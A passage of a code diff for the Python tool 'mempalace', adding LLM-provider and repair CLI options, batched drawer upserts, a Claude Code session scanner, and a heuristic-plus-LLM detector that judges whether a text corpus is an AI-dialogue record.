help="LLM provider (default: ollama). Pass --no-llm to disable LLM-assisted refinement entirely.",
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--llm-model",
|
||||
default="gemma4:e4b",
|
||||
help="Model name for the chosen provider (default: gemma4:e4b for Ollama).",
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--llm-endpoint",
|
||||
default=None,
|
||||
help=(
|
||||
"Provider endpoint URL. Default for Ollama: http://localhost:11434. "
|
||||
"Required for openai-compat."
|
||||
),
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--llm-api-key",
|
||||
default=None,
|
||||
help=(
|
||||
"API key for the provider. For anthropic, defaults to $ANTHROPIC_API_KEY; "
|
||||
"for openai-compat, defaults to $OPENAI_API_KEY."
|
||||
),
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--accept-external-llm",
|
||||
action="store_true",
|
||||
help=(
|
||||
"Bypass the interactive consent prompt that fires when an external "
|
||||
"LLM is configured via an environment-variable API key (issue #26). "
|
||||
"Use this in CI / non-interactive runs where you've already decided "
|
||||
"the external send is acceptable."
|
||||
),
|
||||
)
|
||||
|
||||
# mine
|
||||
p_mine = sub.add_parser("mine", help="Mine files into the palace")
|
||||
@@ -579,6 +1059,17 @@ def main():
|
||||
help="Your name — recorded on every drawer (default: mempalace)",
|
||||
)
|
||||
p_mine.add_argument("--limit", type=int, default=0, help="Max files to process (0 = all)")
|
||||
p_mine.add_argument(
|
||||
"--redetect-origin",
|
||||
action="store_true",
|
||||
help=(
|
||||
"Re-run corpus_origin detection on this directory and overwrite "
|
||||
"<palace>/.mempalace/origin.json. Useful when the corpus has grown "
|
||||
"since `mempalace init` and the stored origin may be stale. "
|
||||
"Heuristic-only (no LLM call) — re-run `mempalace init --llm` for "
|
||||
"Tier 2 refinement."
|
||||
),
|
||||
)
|
||||
p_mine.add_argument(
|
||||
"--dry-run", action="store_true", help="Show what would be filed without filing"
|
||||
)
|
||||
@@ -676,10 +1167,65 @@ def main():
|
||||
instructions_sub.add_parser(instr_name, help=f"Output {instr_name} instructions")
|
||||
|
||||
# repair
|
||||
sub.add_parser(
|
||||
p_repair = sub.add_parser(
|
||||
"repair",
|
||||
help="Rebuild palace vector index from stored data (fixes segfaults after corruption)",
|
||||
).add_argument("--yes", action="store_true", help="Skip confirmation for destructive changes")
|
||||
help=(
|
||||
"Rebuild palace vector index (legacy mode) or un-poison max_seq_id rows "
|
||||
"(--mode max-seq-id)"
|
||||
),
|
||||
)
|
||||
p_repair.add_argument(
|
||||
"--yes", action="store_true", help="Skip confirmation for destructive changes"
|
||||
)
|
||||
p_repair.add_argument(
|
||||
"--confirm-truncation-ok",
|
||||
action="store_true",
|
||||
help=(
|
||||
"Override the #1208 safety guard. Required when chromadb's collection-layer "
|
||||
"extraction returns exactly 10,000 drawers and the SQLite ground-truth check "
|
||||
"either matches or can't be read. Use only after independently confirming "
|
||||
"the palace really contains that count."
|
||||
),
|
||||
)
|
||||
p_repair.add_argument(
|
||||
"--mode",
|
||||
choices=["legacy", "max-seq-id"],
|
||||
default="legacy",
|
||||
help=(
|
||||
"legacy: full-palace rebuild (default). "
|
||||
"max-seq-id: un-poison max_seq_id rows corrupted by the legacy 0.6.x shim."
|
||||
),
|
||||
)
|
||||
p_repair.add_argument(
|
||||
"--segment",
|
||||
default=None,
|
||||
help="Segment UUID filter for --mode max-seq-id (repairs only that segment).",
|
||||
)
|
||||
p_repair.add_argument(
|
||||
"--from-sidecar",
|
||||
default=None,
|
||||
help=(
|
||||
"Path to a pre-corruption chroma.sqlite3 sidecar (for --mode max-seq-id); "
|
||||
"clean values are copied from its max_seq_id table verbatim."
|
||||
),
|
||||
)
|
||||
p_repair.add_argument(
|
||||
"--backup",
|
||||
action=argparse.BooleanOptionalAction,
|
||||
default=True,
|
||||
help="Back up SQLite before mutation (default: on)",
|
||||
)
|
||||
p_repair.add_argument(
|
||||
"--dry-run",
|
||||
action="store_true",
|
||||
help="Print detected poisoned rows and exit without mutation (--mode max-seq-id only)",
|
||||
)
|
||||
|
||||
# repair-status — read-only HNSW capacity health check (#1222)
|
||||
sub.add_parser(
|
||||
"repair-status",
|
||||
help="Compare sqlite vs HNSW element counts (read-only; never opens a chromadb client)",
|
||||
)
|
||||
|
||||
# mcp
|
||||
sub.add_parser(
|
||||
@@ -737,6 +1283,7 @@ def main():
|
||||
"compress": cmd_compress,
|
||||
"wake-up": cmd_wakeup,
|
||||
"repair": cmd_repair,
|
||||
"repair-status": cmd_repair_status,
|
||||
"migrate": cmd_migrate,
|
||||
"status": cmd_status,
|
||||
}
|
||||
|
||||
+57
-1
@@ -19,6 +19,16 @@ MAX_NAME_LENGTH = 128
|
||||
_SAFE_NAME_RE = re.compile(r"^(?:[^\W_]|[^\W_][\w .'-]{0,126}[^\W_])$")
|
||||
|
||||
|
||||
def normalize_wing_name(name: str) -> str:
|
||||
"""Lower-case + collapse separators (`-`, ` `) to `_` for wing slugs.
|
||||
|
||||
The same rule is applied by ``init`` when persisting `topics_by_wing`
|
||||
and when writing `mempalace.yaml`, so the miner's lookup matches at
|
||||
mine time regardless of the source dirname.
|
||||
"""
|
||||
return name.lower().replace(" ", "_").replace("-", "_")
|
||||
|
||||
|
||||
def sanitize_name(value: str, field_name: str = "name") -> str:
|
||||
"""Validate and sanitize a wing/room/entity name.
|
||||
|
||||
@@ -168,7 +178,10 @@ class MempalaceConfig:
|
||||
"""Path to the memory palace data directory."""
|
||||
env_val = os.environ.get("MEMPALACE_PALACE_PATH") or os.environ.get("MEMPAL_PALACE_PATH")
|
||||
if env_val:
|
||||
return env_val
|
||||
# Normalize: expand ~ and collapse .. to match the CLI --palace
|
||||
# code path (mcp_server.py:62) and prevent surprise redirection
|
||||
# when the env var contains unresolved components.
|
||||
return os.path.abspath(os.path.expanduser(env_val))
|
||||
return self._file_config.get("palace_path", DEFAULT_PALACE_PATH)
|
||||
|
||||
@property
|
||||
@@ -233,6 +246,49 @@ class MempalaceConfig:
|
||||
pass
|
||||
return normalized
|
||||
|
||||
@property
|
||||
def embedding_device(self):
|
||||
"""Hardware device for the ONNX embedding model.
|
||||
|
||||
Values: ``"auto"`` (default), ``"cpu"``, ``"cuda"``, ``"coreml"``,
|
||||
``"dml"``. Read from env ``MEMPALACE_EMBEDDING_DEVICE`` first, then
|
||||
``embedding_device`` in ``config.json``, then ``"auto"``.
|
||||
|
||||
``auto`` resolves to the first available accelerator at runtime via
|
||||
:mod:`mempalace.embedding`; requesting an unavailable accelerator
|
||||
logs a warning and falls back to CPU.
|
||||
"""
|
||||
env_val = os.environ.get("MEMPALACE_EMBEDDING_DEVICE")
|
||||
if env_val:
|
||||
return env_val.strip().lower()
|
||||
return str(self._file_config.get("embedding_device", "auto")).strip().lower()
|
||||
|
||||
@property
|
||||
def topic_tunnel_min_count(self):
|
||||
"""Minimum number of overlapping confirmed topics required to create
|
||||
a cross-wing tunnel between two wings.
|
||||
|
||||
Default is ``1`` — any single shared topic produces a tunnel. Bump
|
||||
to ``2+`` if your projects share lots of common-tech labels (Python,
|
||||
Docker, Git) and you want only meaningfully overlapping wings to
|
||||
link. Reads ``MEMPALACE_TOPIC_TUNNEL_MIN_COUNT`` env first, then the
|
||||
config-file value, then ``1``.
|
||||
"""
|
||||
env_val = os.environ.get("MEMPALACE_TOPIC_TUNNEL_MIN_COUNT")
|
||||
if env_val:
|
||||
try:
|
||||
parsed = int(env_val)
|
||||
if parsed >= 1:
|
||||
return parsed
|
||||
except ValueError:
|
||||
pass
|
||||
cfg_val = self._file_config.get("topic_tunnel_min_count")
|
||||
try:
|
||||
parsed = int(cfg_val) if cfg_val is not None else 1
|
||||
except (TypeError, ValueError):
|
||||
parsed = 1
|
||||
return max(1, parsed)
|
||||
|
||||
@property
|
||||
def hook_silent_save(self):
|
||||
"""Whether the stop hook saves directly (True) or blocks for MCP calls (False)."""
|
||||
|
||||
+38
-23
@@ -55,6 +55,7 @@ CONVO_EXTENSIONS = {
|
||||
|
||||
MIN_CHUNK_SIZE = 30
|
||||
CHUNK_SIZE = 800 # chars per drawer — align with miner.py
|
||||
DRAWER_UPSERT_BATCH_SIZE = 1000
|
||||
MAX_FILE_SIZE = 500 * 1024 * 1024 # 500 MB — skip files larger than this.
|
||||
# Matches miner.py at 500 MB. Long Claude Code sessions, multi-year
|
||||
# ChatGPT exports, and lifetime Slack dumps routinely exceed 10 MB; the
|
||||
@@ -332,31 +333,43 @@ def _file_chunks_locked(collection, source_file, chunks, wing, room, agent, extr
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
for chunk in chunks:
|
||||
chunk_room = chunk.get("memory_type", room) if extract_mode == "general" else room
|
||||
if extract_mode == "general":
|
||||
room_counts_delta[chunk_room] += 1
|
||||
drawer_id = f"drawer_{wing}_{chunk_room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
|
||||
# Batch chunks into bounded upserts so large transcripts keep most of
|
||||
# the embedding speedup without one huge Chroma/SQLite request. Keep
|
||||
# one filed_at per source file so all transcript drawers share an
|
||||
# ingest timestamp.
|
||||
filed_at = datetime.now().isoformat()
|
||||
for batch_start in range(0, len(chunks), DRAWER_UPSERT_BATCH_SIZE):
|
||||
batch_docs: list = []
|
||||
batch_ids: list = []
|
||||
batch_metas: list = []
|
||||
for chunk in chunks[batch_start : batch_start + DRAWER_UPSERT_BATCH_SIZE]:
|
||||
chunk_room = chunk.get("memory_type", room) if extract_mode == "general" else room
|
||||
if extract_mode == "general":
|
||||
room_counts_delta[chunk_room] += 1
|
||||
drawer_id = f"drawer_{wing}_{chunk_room}_{hashlib.sha256((source_file + str(chunk['chunk_index'])).encode()).hexdigest()[:24]}"
|
||||
batch_docs.append(chunk["content"])
|
||||
batch_ids.append(drawer_id)
|
||||
batch_metas.append(
|
||||
{
|
||||
"wing": wing,
|
||||
"room": chunk_room,
|
||||
"hall": _detect_hall_cached(chunk["content"]),
|
||||
"source_file": source_file,
|
||||
"chunk_index": chunk["chunk_index"],
|
||||
"added_by": agent,
|
||||
"filed_at": filed_at,
|
||||
"ingest_mode": "convos",
|
||||
"extract_mode": extract_mode,
|
||||
"normalize_version": NORMALIZE_VERSION,
|
||||
}
|
||||
)
|
||||
try:
|
||||
collection.upsert(
|
||||
documents=[chunk["content"]],
|
||||
ids=[drawer_id],
|
||||
metadatas=[
|
||||
{
|
||||
"wing": wing,
|
||||
"room": chunk_room,
|
||||
"hall": _detect_hall_cached(chunk["content"]),
|
||||
"source_file": source_file,
|
||||
"chunk_index": chunk["chunk_index"],
|
||||
"added_by": agent,
|
||||
"filed_at": datetime.now().isoformat(),
|
||||
"ingest_mode": "convos",
|
||||
"extract_mode": extract_mode,
|
||||
"normalize_version": NORMALIZE_VERSION,
|
||||
}
|
||||
],
|
||||
documents=batch_docs,
|
||||
ids=batch_ids,
|
||||
metadatas=batch_metas,
|
||||
)
|
||||
drawers_added += 1
|
||||
drawers_added += len(batch_docs)
|
||||
except Exception as e:
|
||||
if "already exists" not in str(e).lower():
|
||||
raise
|
||||
@@ -381,7 +394,9 @@ def mine_convos(
|
||||
|
||||
convo_path = Path(convo_dir).expanduser().resolve()
|
||||
if not wing:
|
||||
wing = convo_path.name.lower().replace(" ", "_").replace("-", "_")
|
||||
from .config import normalize_wing_name
|
||||
|
||||
wing = normalize_wing_name(convo_path.name)
|
||||
|
||||
files = scan_convos(convo_dir)
|
||||
if limit > 0:
|
||||
|
||||
@@ -0,0 +1,160 @@
|
||||
"""
|
||||
convo_scanner.py — Parse Claude Code conversation directories into ProjectInfo.
|
||||
|
||||
Claude Code stores sessions under ``~/.claude/projects/<slug>/<id>.jsonl``,
|
||||
where the ``<slug>`` is the original CWD with ``/`` replaced by ``-``. That
|
||||
encoding is lossy: we can't tell whether ``foo-bar`` in a slug is the
|
||||
literal project name ``foo-bar`` or two path segments ``foo/bar``.
|
||||
|
||||
Fortunately, every message record in the JSONL carries a ``cwd`` field with
|
||||
the true path. This scanner reads one record per session to recover the
|
||||
accurate project name, falling back to slug-decoding only if the JSONL
|
||||
is malformed or empty.
|
||||
|
||||
Output is the same ``ProjectInfo`` shape used by ``project_scanner``, so the
|
||||
``discover_entities`` orchestrator can mix-and-match sources.
|
||||
|
||||
Public:
|
||||
is_claude_projects_root(path) -> bool
|
||||
scan_claude_projects(path) -> list[ProjectInfo]
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from mempalace.project_scanner import ProjectInfo
|
||||
|
||||
|
||||
MAX_HEADER_LINES = 20 # lines to read per session looking for `cwd`
|
||||
|
||||
|
||||
def is_claude_projects_root(path: Path) -> bool:
|
||||
"""Return True if path looks like `.claude/projects/`.
|
||||
|
||||
Heuristic: at least one child dir whose name starts with ``-`` and which
|
||||
contains at least one ``.jsonl`` file.
|
||||
"""
|
||||
if not path.is_dir():
|
||||
return False
|
||||
try:
|
||||
children = list(path.iterdir())
|
||||
except OSError:
|
||||
return False
|
||||
for child in children:
|
||||
if not (child.is_dir() and child.name.startswith("-")):
|
||||
continue
|
||||
try:
|
||||
if any(p.suffix == ".jsonl" for p in child.iterdir() if p.is_file()):
|
||||
return True
|
||||
except OSError:
|
||||
continue
|
||||
return False
|
||||
|
||||
|
||||
def _extract_cwd_from_session(session_file: Path) -> Optional[str]:
|
||||
"""Return the ``cwd`` from the first message record that carries one.
|
||||
|
||||
Returns None if the file can't be read, has no JSON, or no record has cwd.
|
||||
"""
|
||||
try:
|
||||
with open(session_file, encoding="utf-8", errors="replace") as f:
|
||||
for i, line in enumerate(f):
|
||||
if i >= MAX_HEADER_LINES:
|
||||
break
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
obj = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
cwd = obj.get("cwd")
|
||||
if isinstance(cwd, str) and cwd:
|
||||
return cwd
|
||||
except OSError:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
def _decode_slug_fallback(slug: str) -> str:
|
||||
"""Best-effort project name from slug when cwd is unavailable.
|
||||
|
||||
The slug is lossy (`/` and `-` both become `-`). Last non-empty segment
|
||||
is the closest guess at the project name, preserving kebab-case is
|
||||
impossible without cwd.
|
||||
"""
|
||||
stripped = slug.lstrip("-")
|
||||
parts = [p for p in stripped.split("-") if p]
|
||||
return parts[-1] if parts else slug
|
||||
|
||||
|
||||
def _safe_mtime(path: Path) -> float:
|
||||
"""Return file mtime, defaulting old on permission or filesystem errors."""
|
||||
try:
|
||||
return path.stat().st_mtime
|
||||
except OSError:
|
||||
return 0.0
|
||||
|
||||
|
||||
def _resolve_project_name(project_dir: Path) -> str:
|
||||
"""Read one session's cwd to recover the original project name.
|
||||
|
||||
Falls back to slug-decoding if no session has a readable cwd.
|
||||
"""
|
||||
sessions = sorted(
|
||||
(p for p in project_dir.iterdir() if p.is_file() and p.suffix == ".jsonl"),
|
||||
key=_safe_mtime,
|
||||
reverse=True, # newest first — most likely to be well-formed
|
||||
)
|
||||
for session in sessions:
|
||||
cwd = _extract_cwd_from_session(session)
|
||||
if cwd:
|
||||
return Path(cwd).name or cwd
|
||||
return _decode_slug_fallback(project_dir.name)
|
||||
|
||||
|
||||
def scan_claude_projects(path: str | Path) -> list[ProjectInfo]:
|
||||
"""Scan a ``.claude/projects/`` directory for Claude Code conversations.
|
||||
|
||||
One ProjectInfo per subdir. ``has_git`` is False (the directory isn't a
|
||||
repo itself) but ``total_commits`` is repurposed here as session count so
|
||||
the UX surfaces a density signal for ranking.
|
||||
"""
|
||||
root = Path(path).expanduser().resolve()
|
||||
if not is_claude_projects_root(root):
|
||||
return []
|
||||
|
||||
projects: dict[str, ProjectInfo] = {}
|
||||
for sub in sorted(root.iterdir()):
|
||||
if not (sub.is_dir() and sub.name.startswith("-")):
|
||||
continue
|
||||
try:
|
||||
sessions = [p for p in sub.iterdir() if p.is_file() and p.suffix == ".jsonl"]
|
||||
except OSError:
|
||||
continue
|
||||
if not sessions:
|
||||
continue
|
||||
|
||||
name = _resolve_project_name(sub)
|
||||
session_count = len(sessions)
|
||||
|
||||
proj = ProjectInfo(
|
||||
name=name,
|
||||
repo_root=sub,
|
||||
manifest=None,
|
||||
has_git=False,
|
||||
total_commits=session_count,
|
||||
user_commits=session_count,
|
||||
is_mine=True, # Claude Code sessions are authored by the user
|
||||
)
|
||||
existing = projects.get(name)
|
||||
if existing is None or session_count > existing.user_commits:
|
||||
projects[name] = proj
|
||||
|
||||
return sorted(
|
||||
projects.values(),
|
||||
key=lambda p: (-p.user_commits, p.name),
|
||||
)
|
||||
@@ -0,0 +1,422 @@
|
||||
"""
|
||||
corpus_origin.py — Detect whether a corpus is an AI-dialogue record and,
|
||||
if so, what platform and what persona names the user has assigned to the
|
||||
agent.
|
||||
|
||||
This is the first question any downstream Pass 2 classification needs
|
||||
answered. Without it, a drawer like "my three sons" in a Claude Code
|
||||
dialogue corpus can't be correctly resolved to "three AI instances"
|
||||
rather than "three biological children."
|
||||
|
||||
Two-tier detection:
|
||||
|
||||
Tier 1 — detect_origin_heuristic(samples)
|
||||
Cheap, no API. Grep for well-known AI brand terms + turn
|
||||
markers. Always runs. Outputs a hypothesis.
|
||||
|
||||
Tier 2 — detect_origin_llm(samples, provider)
|
||||
Uses an LLMProvider (typically Haiku via mempalace.llm_client)
|
||||
with the model's pre-trained knowledge of Claude/ChatGPT/Gemini
|
||||
etc. Confirms platform, extracts agent persona-names the user
|
||||
has assigned. One call, ~$0.01 cost.
|
||||
|
||||
Design principle:
|
||||
Don't make the classifier re-discover what Claude, ChatGPT, Gemini, MCP,
|
||||
or other well-known entities ARE — the LLM already knows them from its
|
||||
training. Only corpus-specific entities (e.g. the user's persona-name
|
||||
for their Claude instance) need discovery.
|
||||
|
||||
Default stance (when evidence is thin):
|
||||
"This IS an AI-dialogue corpus" — false-negative is catastrophic for
|
||||
downstream classification; false-positive is recoverable via per-drawer
|
||||
voice-profile detection in later passes.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
from dataclasses import dataclass, field, asdict
|
||||
from typing import Optional
|
||||
|
||||
|
||||
# ── Well-known AI brand terms (expand as new platforms emerge) ────────────
|
||||
# Detection is by PATTERN + CONTEXT, not by capitalization or English-language
|
||||
# rules. Two categories:
|
||||
#
|
||||
# UNAMBIGUOUS — terms that have essentially no meaning outside of AI context.
|
||||
# Always counted toward AI-dialogue evidence.
|
||||
#
|
||||
# AMBIGUOUS — terms that share a string with common English words, names,
|
||||
# poetry forms, zodiac signs, animals, etc. Counted toward AI-dialogue
|
||||
# evidence ONLY when at least one unambiguous AI signal also appears in
|
||||
# the corpus (turn marker, unambiguous brand term, or AI infrastructure
|
||||
# term). This avoids false-positives on French novels with characters
|
||||
# named "Claude", astrology corpora discussing "Gemini", poetry corpora
|
||||
# full of "haiku" / "sonnet", etc.
|
||||
#
|
||||
# All matching is CASE-INSENSITIVE — users type lowercase constantly.
|
||||
|
||||
_AI_UNAMBIGUOUS_TERMS = [
|
||||
# Anthropic-specific
|
||||
"Anthropic",
|
||||
"Claude Code",
|
||||
"Claude 3",
|
||||
"Claude 4",
|
||||
"claude mcp",
|
||||
"CLAUDE.md",
|
||||
".claude/",
|
||||
# OpenAI-specific
|
||||
"ChatGPT",
|
||||
"GPT-4",
|
||||
"GPT-3",
|
||||
"GPT-5",
|
||||
"OpenAI",
|
||||
"gpt-4o",
|
||||
"gpt-4-turbo",
|
||||
"o1-preview",
|
||||
"o3",
|
||||
# Google-specific
|
||||
"gemini-pro",
|
||||
"gemini-1.5",
|
||||
"Google AI",
|
||||
# Meta / others (specific model identifiers, not bare common words)
|
||||
"Mixtral",
|
||||
"Cohere",
|
||||
# AI-infrastructure terms with no common-English collision
|
||||
"MCP",
|
||||
"LLM",
|
||||
"RAG",
|
||||
"fine-tune",
|
||||
"context window",
|
||||
"embedding",
|
||||
]
|
||||
|
||||
_AI_AMBIGUOUS_TERMS = [
|
||||
# Anthropic — bare brand/model names that collide with names + poetry
|
||||
"Claude", # also a common French masculine name
|
||||
"Opus", # also a musical work, comic strip, magazine
|
||||
"Sonnet", # also a 14-line poem form
|
||||
"Haiku", # also a 17-syllable poem form
|
||||
# Google — bare brand that collides with zodiac sign
|
||||
"Gemini", # also the zodiac sign
|
||||
"Bard", # also a poet / Shakespeare
|
||||
# Meta / others
|
||||
"Llama", # also the South American animal
|
||||
"Mistral", # also a Mediterranean wind
|
||||
# Note: 'prompt', 'completion', 'tokens' previously lived here but were
|
||||
# removed: they're suppressed without an unambiguous co-signal anyway,
|
||||
# and by the time a co-signal is present the corpus is already flagged.
|
||||
# Keeping them just produced noisier evidence strings.
|
||||
]
|
||||
|
||||
# Turn-marker patterns commonly seen in AI-dialogue transcripts
|
||||
_TURN_MARKERS = [
|
||||
r"\buser\s*:\s*",
|
||||
r"\bassistant\s*:\s*",
|
||||
r"\bhuman\s*:\s*",
|
||||
r"\bai\s*:\s*",
|
||||
r"\b>>>\s*User\b",
|
||||
r"\b>>>\s*Assistant\b",
|
||||
]
|
||||
|
||||
|
||||
def _brand_pattern(term: str) -> str:
|
||||
"""Build a regex for a brand term that uses word boundaries
|
||||
only on edges where the term itself starts/ends with a word
|
||||
character. Without this nuance:
|
||||
- 'Claude' would falsely match inside 'Claudette' (no \\b)
|
||||
- '.claude/' would fail to match at start of string (\\b
|
||||
before non-word char requires preceding word char)
|
||||
So we only attach \\b where it actually makes sense."""
|
||||
escaped = re.escape(term)
|
||||
prefix = r"\b" if term[0].isalnum() or term[0] == "_" else ""
|
||||
suffix = r"\b" if term[-1].isalnum() or term[-1] == "_" else ""
|
||||
return prefix + escaped + suffix
|
||||
|
||||
|
||||
@dataclass
|
||||
class CorpusOriginResult:
|
||||
"""Structured output from corpus-origin detection.
|
||||
|
||||
Fields:
|
||||
likely_ai_dialogue — best hypothesis about whether this is AI-dialogue
|
||||
confidence — 0.0 to 1.0
|
||||
primary_platform — e.g. "Claude Code (Anthropic CLI)" or None
|
||||
user_name — the corpus author's name if identifiable from context, else None
|
||||
agent_persona_names — names the user has assigned to the AI agent(s)
|
||||
(e.g. ["Echo", "Sparrow"]). Does NOT include the user's own name.
|
||||
evidence — human-readable reasons for the classification
|
||||
"""
|
||||
|
||||
likely_ai_dialogue: bool
|
||||
confidence: float
|
||||
primary_platform: Optional[str]
|
||||
user_name: Optional[str] = None
|
||||
agent_persona_names: list[str] = field(default_factory=list)
|
||||
evidence: list[str] = field(default_factory=list)
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return asdict(self)
|
||||
|
||||
|
||||
# ── Tier 1: cheap heuristic ───────────────────────────────────────────────
|
||||
|
||||
|
||||
def detect_origin_heuristic(samples: list[str]) -> CorpusOriginResult:
|
||||
"""Fast grep-based detection. No API calls.
|
||||
|
||||
Scores AI-dialogue likelihood by counting:
|
||||
- occurrences of well-known AI brand terms
|
||||
- turn-marker patterns (user:, assistant:, etc.)
|
||||
|
||||
Returns a CorpusOriginResult with confidence derived from signal density.
|
||||
"""
|
||||
combined = "\n\n".join(samples)
|
||||
total_chars = max(1, len(combined))
|
||||
|
||||
# Count UNAMBIGUOUS brand-term hits (case-insensitive — users type
|
||||
# lowercase constantly, so 'chatgpt' must trip the same as 'ChatGPT').
|
||||
# Word boundaries prevent false in-word matches (see _brand_pattern).
|
||||
unambiguous_hits: dict[str, int] = {}
|
||||
total_unambiguous = 0
|
||||
for term in _AI_UNAMBIGUOUS_TERMS:
|
||||
matches = re.findall(_brand_pattern(term), combined, re.IGNORECASE)
|
||||
if matches:
|
||||
unambiguous_hits[term] = len(matches)
|
||||
total_unambiguous += len(matches)
|
||||
|
||||
# Count AMBIGUOUS brand-term hits separately. These will only be
|
||||
# counted toward AI-dialogue evidence if the corpus also contains
|
||||
# at least one unambiguous AI signal — see co-occurrence rule below.
|
||||
ambiguous_hits: dict[str, int] = {}
|
||||
total_ambiguous = 0
|
||||
for term in _AI_AMBIGUOUS_TERMS:
|
||||
matches = re.findall(_brand_pattern(term), combined, re.IGNORECASE)
|
||||
if matches:
|
||||
ambiguous_hits[term] = len(matches)
|
||||
total_ambiguous += len(matches)
|
||||
|
||||
# Count turn-marker hits (case-insensitive — transcripts vary).
|
||||
turn_hits = 0
|
||||
turn_types_found = set()
|
||||
for pattern in _TURN_MARKERS:
|
||||
matches = re.findall(pattern, combined, re.IGNORECASE)
|
||||
if matches:
|
||||
turn_hits += len(matches)
|
||||
turn_types_found.add(pattern)
|
||||
|
||||
# Co-occurrence rule for ambiguous terms.
|
||||
# Ambiguous terms (e.g. 'Claude' as a French name, 'Gemini' as a zodiac
|
||||
# sign, 'Haiku' as a poem form) only count toward brand evidence if
|
||||
# the corpus also contains at least one unambiguous AI signal. Otherwise
|
||||
# we'd false-positive on French novels, astrology forums, poetry corpora,
|
||||
# llama-rancher journals, etc.
|
||||
has_ai_context = total_unambiguous > 0 or turn_hits > 0
|
||||
counted_brand_hits = total_unambiguous + (total_ambiguous if has_ai_context else 0)
|
||||
|
||||
# Brand-term density per 1000 chars; turn-marker density likewise.
|
||||
# Tuned on a small set of examples; these aren't magic numbers and
|
||||
# can be revisited as we see more corpora.
|
||||
brand_density = counted_brand_hits / (total_chars / 1000)
|
||||
turn_density = turn_hits / (total_chars / 1000)
|
||||
|
||||
# Build evidence list
|
||||
evidence: list[str] = []
|
||||
shown_hits = dict(unambiguous_hits)
|
||||
if has_ai_context:
|
||||
shown_hits.update(ambiguous_hits)
|
||||
if shown_hits:
|
||||
top_terms = sorted(shown_hits.items(), key=lambda x: -x[1])[:5]
|
||||
evidence.append("AI brand terms: " + ", ".join(f"'{k}' ({v}x)" for k, v in top_terms))
|
||||
elif ambiguous_hits and not has_ai_context:
|
||||
# Be transparent that we saw ambiguous matches but suppressed them
|
||||
# for lack of co-occurring AI context.
|
||||
suppressed = sorted(ambiguous_hits.items(), key=lambda x: -x[1])[:3]
|
||||
evidence.append(
|
||||
"Ambiguous terms present but suppressed (no co-occurring AI signal): "
|
||||
+ ", ".join(f"'{k}' ({v}x)" for k, v in suppressed)
|
||||
)
|
||||
if turn_hits:
|
||||
evidence.append(
|
||||
f"Turn markers detected: {turn_hits} occurrences across {len(turn_types_found)} pattern types"
|
||||
)
|
||||
|
||||
# Decision logic:
|
||||
# strong signal (brand OR turn hits both >= threshold) → confident AI-dialogue
|
||||
# MEANINGFUL absence (enough text, zero brand, zero turn) → confident narrative
|
||||
# ambiguous or insufficient text → default stance: AI-dialogue with low confidence
|
||||
#
|
||||
# Threshold for "meaningful absence": the samples collectively have to
|
||||
# be long enough that the absence of AI signals would be expected to
|
||||
# surface if the corpus really is narrative. 150 chars is the working
|
||||
# floor — below that, we cannot confidently say "this is narrative."
|
||||
MEANINGFUL_TEXT_FLOOR = 150
|
||||
|
||||
if brand_density >= 0.5 or turn_density >= 2.0:
|
||||
return CorpusOriginResult(
|
||||
likely_ai_dialogue=True,
|
||||
confidence=min(0.95, 0.6 + 0.1 * (brand_density + turn_density)),
|
||||
primary_platform=None, # tier 2 will refine
|
||||
evidence=evidence,
|
||||
)
|
||||
if counted_brand_hits == 0 and turn_hits == 0 and total_chars >= MEANINGFUL_TEXT_FLOOR:
|
||||
# Note: ambiguous-only matches (e.g. a French novel with 'Claude' as
|
||||
# a character name) flow through here because counted_brand_hits == 0
|
||||
# when no unambiguous AI signal co-occurs. The 'evidence' list still
|
||||
# records that the ambiguous matches were seen and suppressed.
|
||||
narrative_evidence = list(evidence) + [
|
||||
f"no unambiguous AI signal across {total_chars} chars of text — pure narrative"
|
||||
]
|
||||
return CorpusOriginResult(
|
||||
likely_ai_dialogue=False,
|
||||
confidence=0.9,
|
||||
primary_platform=None,
|
||||
evidence=narrative_evidence,
|
||||
)
|
||||
# Ambiguous or too-short-to-tell case: default stance is AI-dialogue
|
||||
# with explicit low confidence. Tier 2 (LLM) should be called to confirm.
|
||||
reason = "weak signal" if (counted_brand_hits or turn_hits) else "insufficient text"
|
||||
return CorpusOriginResult(
|
||||
likely_ai_dialogue=True,
|
||||
confidence=0.4,
|
||||
primary_platform=None,
|
||||
evidence=evidence
|
||||
+ [
|
||||
f"{reason} — applying default-stance (ai_dialogue=True, low confidence). "
|
||||
"Tier 2 LLM check recommended to confirm or override."
|
||||
],
|
||||
)
|
||||
|
||||
|
||||
# ── Tier 2: LLM-assisted confirmation + persona extraction ────────────────
|
||||
|
||||
|
||||
_SYSTEM_PROMPT = """You are analyzing a corpus of text to determine whether it is a \
|
||||
record of conversations with an AI agent (e.g. Claude, ChatGPT, Gemini, custom LLM \
|
||||
apps), or some other kind of text (personal narrative, story, research notes, \
|
||||
journal, code, etc.).
|
||||
|
||||
Use your pre-existing knowledge of well-known AI platforms. You don't need the \
|
||||
corpus to explain what Claude or ChatGPT is — you already know. Your job is to \
|
||||
detect evidence of their presence and identify what persona-names the user has \
|
||||
assigned to the agent(s) they converse with.
|
||||
|
||||
CRITICAL distinction:
|
||||
- agent_persona_names are names the USER has assigned to the AI AGENT(S)
|
||||
they converse with. Example: "Echo", "Sparrow", "Henry" might be names
|
||||
the user calls a Claude instance they're building a relationship with.
|
||||
- Do NOT include the USER's own name in agent_persona_names. The user
|
||||
is the human author of the corpus, not a persona of the agent. Even
|
||||
if the user's name appears frequently in the text (writing about
|
||||
themselves), that is NOT an agent persona.
|
||||
- If you can identify the user's name from context, put it in user_name
|
||||
(separate field). If unclear, leave user_name null.
|
||||
|
||||
Respond with JSON only (no prose before or after):
|
||||
{
|
||||
"is_ai_dialogue_corpus": <true|false>,
|
||||
"confidence": <0.0 to 1.0>,
|
||||
